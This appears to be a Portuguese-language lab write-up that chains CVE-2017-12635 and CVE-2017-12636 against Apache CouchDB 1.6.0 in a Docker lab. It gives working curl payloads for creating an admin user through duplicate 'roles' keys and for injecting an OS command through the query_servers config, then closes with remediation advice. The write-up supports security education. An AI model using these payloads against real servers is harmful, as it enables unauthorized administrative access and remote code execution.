Lab7-CVE-2017-12635-12636

I. ANÁLISE DO SISTEMA

Identificação da Superfície de Ataque

Começando com o que está em execução no ambiente. Listo todos os containers ativos:

docker ps

A vítima expõe uma única porta: 5984

⇒ Faço curl diretamente para sondar mais informações:

curl -i http://192.168.3.137:5984/

Analisando a Resposta:

Resposta: HTTP/1.1 200 OK, comprovando que o serviço na porta 5984 está ativo e pode ser acessado diretamente via HTTP.

Cabeçalho do Servidor: CouchDB/1.6.0 (Erlang OTP/17) e o corpo JSON contendo "version":"1.6.0" confirmam que se trata do Apache CouchDB versão 1.6.0.

Avaliação da Superfície de Ataque:

O serviço CouchDB está exposto externamente através da porta 5984. Esta é a porta padrão para a API HTTP do CouchDB, permitindo interação com o banco de dados por meio de uma API REST.

A versão CouchDB 1.6.0 é uma versão antiga, anterior ao patch 1.7.1. De acordo com a documentação da Apache, as versões do CouchDB nessa faixa são afetadas por:

• CVE-2017-12635: Escalonamento Remoto de Privilégios devido ao tratamento inconsistente de chaves roles duplicadas em JSON.
• CVE-2017-12636: Execução Remota de Código uma vez que um usuário administrador pode modificar as configurações do servidor via API HTTP.

=> Pensando: A partir da resposta obtida, há evidências suficientes para determinar que a vítima está executando Apache CouchDB 1.6.0 na porta 5984. Esta é uma versão antiga associada à cadeia de exploração de CVE-2017-12635 e CVE-2017-12636. Portanto, um caminho lógico de exploração é primeiro testar o estado de autenticação e, em seguida, avaliar o potencial de escalonamento de privilégios ou execução de comandos através da API HTTP do CouchDB.

II. Testando o Estado de Autenticação (CVE-2017-12635)

CVE-2017-12635 explora a discrepância entre dois analisadores JSON no CouchDB. Ao enviar um documento de usuário para /_users com duas chaves roles duplicadas, o CouchDB usa a segunda chave roles para verificar os privilégios de escrita do documento, mas usa a primeira chave roles para as permissões reais do usuário após a criação. Assim, um atacante define a primeira roles como ["_admin"] e a segunda roles como [] para contornar a verificação de validação, resultando na criação de um usuário com privilégios de administrador.

Com base na documentação do CouchDB, o CouchDB armazena informações de usuário em um banco de dados especial chamado _users, onde cada documento de usuário tem um ID formatado como org.couchdb.user:<username>. Como precisamos criar um usuário chamado hacker, o endpoint utilizado é /_users/org.couchdb.user:hacker. Crio um novo usuário e atribuo a ele privilégios de administrador para ver como o servidor responde.

curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

A resposta retornada é true, comprovando que o usuário foi criado com sucesso. Realizo uma verificação usando as credenciais de admin recém-criadas: curl -u hacker:password123 http://192.168.3.137:5984/_users. O endpoint /_users é um banco de dados do sistema, que por padrão apenas administradores podem ler metadados. Se solicitado por um usuário comum → 403 Forbidden. A resposta 200 OK com informações completas do BD confirma que a conta hacker realmente possui privilégios _admin. Isso se alinha perfeitamente com a hipótese da CVE-2017-12635 no Apache CouchDB 1.6.0.

Resumo:

Verifiquei com sucesso a CVE-2017-12635 no Apache CouchDB 1.6.0. Inicialmente, a porta 5984 apenas mostrava que a API HTTP do CouchDB estava exposta. Após a identificação via curl, a resposta confirmou que o serviço é CouchDB 1.6.0, uma versão dentro da faixa de vulnerabilidade da CVE-2017-12635.

Em vez de concluir imediatamente que RCE é possível, verifiquei o fluxo de autenticação passo a passo primeiro. Ao enviar um documento de usuário para /_users com duas chaves roles duplicadas, o payload criou com sucesso o usuário hacker. Em seguida, a requisição para /_users via curl -u hacker:password123 retornou 200 OK junto com detalhes do banco de dados do sistema, comprovando que o usuário hacker possui genuinamente privilégios _admin.

Consequentemente, uma vez adquiridos privilégios de administrador no CouchDB, a superfície de ataque se expande para CVE-2017-12636, pois administradores podem alterar a configuração do CouchDB via API HTTP. Isso serve como pré-requisito para avaliar posteriormente as capacidades de execução remota de código no servidor.

⇒ Pensando: Usar os privilégios de administrador recém-adquiridos para testar a execução de comandos no nível do sistema operacional.

III. De Privilégios de Administrador do CouchDB à Execução Remota de Código (CVE-2017-12636)

De acordo com a Documentação do Apache CouchDB, um Query Server é um processo externo usado pelo CouchDB para processar funções de design, como uma visão JavaScript no mecanismo MapReduce. Quando um documento de design declara um campo "language", o CouchDB usa esse valor para procurar o query server correspondente na configuração query_servers.

Se o documento de design contém "language": "javascript", o CouchDB consulta a configuração query_servers.javascript para determinar qual processo deve ser iniciado para lidar com a função map/reduce. Este é um design legítimo do CouchDB, pois o núcleo do CouchDB não executa diretamente todo o código de visão dentro do motor do banco de dados.

⇒ O problema na CVE-2017-12636 reside na capacidade de um administrador do CouchDB de modificar a configuração do servidor através da API HTTP. Algumas dessas configurações incluem caminhos para binários ou processos do sistema operacional que o CouchDB irá iniciar. Portanto, após obter privilégios de administrador a partir da CVE-2017-12635, um atacante pode modificar query_servers.<language> para apontar para um comando do SO. Ao acionar uma visão que usa o idioma correspondente, o CouchDB iniciará o comando, resultando na execução de comandos no servidor.

Fluxo de Exploração:

1. Adquirir privilégios de administrador do CouchDB via CVE-2017-12635.
2. Escrever a configuração maliciosa em query_servers.cmd através do endpoint /_config.
3. Criar um documento de design com "language": "cmd".
4. Acionar a visão.
5. O CouchDB procura por query_servers.cmd e inicia o processo configurado.
6. O comando do SO é executado com os privilégios do processo CouchDB.

Mecanismo Operacional

Escrevendo a Configuração Maliciosa do query_server

Registrar um "query server" com um nome arbitrário, cujo valor é o comando do SO:

curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
  -H "Content-Type: application/json" \
  -d '"id 1>/tmp/pwned 2>&1"'

Este é o comando do SO que será iniciado pelo processo CouchDB.

Acionando a Execução — Criando Banco de Dados e Documento

# Criar banco de dados de teste
curl -X PUT http://hacker:[email protected]:5984/rcetest

# Criar documento de design com visão usando linguagem "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
  -H "Content-Type: application/json" \
  -d '{
    "language": "cmd",
    "views": {
      "myview": {
        "map": "function(doc){}"
      }
    }
  }'

# Acionar visão → CouchDB inicia query server "cmd" → executa comando do SO
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview

Fluxo de Execução:

Consulta de view → [HTTP PUT Config] -> [Injetar comando do SO como linguagem de consulta falsa]
           → [HTTP PUT Design Doc] -> [Atribuir atributo de tratamento à linguagem de consulta falsa]
           → [HTTP GET View] -> [Forçar consulta de configuração do CouchDB → Iniciar subprocesso executando comando]
           → [Ler /tmp/pwned] -> [Confirmar privilégio de execução bem-sucedido (RCE)]

Verificar RCE:

docker exec project1-lab07-1 cat /tmp/pwned

Pensando: Este ataque de RCE é cego/assíncrono porque a saída do comando não é retornada diretamente na resposta HTTP. Portanto, para provar que o comando foi executado, usei um payload que gera um efeito colateral escrevendo a saída do comando id no arquivo /tmp/pwned. Ao ler o arquivo /tmp/pwned no container e observar a saída uid=1000(couchdb) gid=999(couchdb), podemos concluir que o CouchDB executou com sucesso o comando do SO sob os privilégios do usuário couchdb.

O resultado uid=1000(couchdb) mostra que o comando não foi executado com privilégios de root, mas sim com os privilégios do processo CouchDB. Isso ainda é suficiente para provar que a CVE-2017-12636 leva à Execução Remota de Código dentro dos limites das permissões do serviço.

IV. AVALIAÇÃO DE RISCO E RECOMENDAÇÕES

Avaliação de Risco

A vulnerabilidade de Inconsistência do Analisador JSON (CVE-2017-12635) combinada com Injeção no Query Server (CVE-2017-12636) no sistema é avaliada no nível de risco mais alto:

Recomendações de Remediação

Para mitigar completamente essas vulnerabilidades, a equipe de administração do sistema deve implementar as seguintes medidas (ordenadas por prioridade):

Prioridade Urgente (Curto prazo):

1. Atualizar o Apache CouchDB: Atualizar imediatamente para uma versão segura (≥ 1.7.1 ou ≥ 2.1.1, versão recomendada 3.x). Esta é uma medida obrigatória, pois a vulnerabilidade reside no motor central do analisador JSON (jiffy) e no mecanismo de configuração do query server.
2. Impor Autenticação Obrigatória: Configurar require_valid_user = true no arquivo de configuração local.ini para bloquear todo acesso anônimo à API. Nunca executar o CouchDB no modo "Admin Party" (onde não existe administrador, tornando todos administradores).

Alta Prioridade (Longo prazo e Defesa em Profundidade):

1. Restringir Acesso de Rede à Porta 5984: Configurar um firewall (iptables/firewall) para permitir apenas IPs confiáveis ao acesso à porta 5984. Esta porta nunca deve ser exposta à internet pública. Se a aplicação e o CouchDB residirem na mesma máquina, vincular o CouchDB estritamente a 127.0.0.1.
2. Desabilitar Configuração via API HTTP: Usar config_whitelist no arquivo local.ini para restringir quais chaves de configuração podem ser modificadas via API, impedindo que atacantes usem o endpoint /_config/query_servers para injetar comandos do SO.
3. Restringir Rede do Container: Evitar colocar o container em uma rede bridge padrão compartilhada, a menos que necessário. Configurar regras de firewall para bloquear o container de iniciar ativamente conexões de saída (tráfego de saída) para a internet, a fim de impedir a execução de Reverse Shell.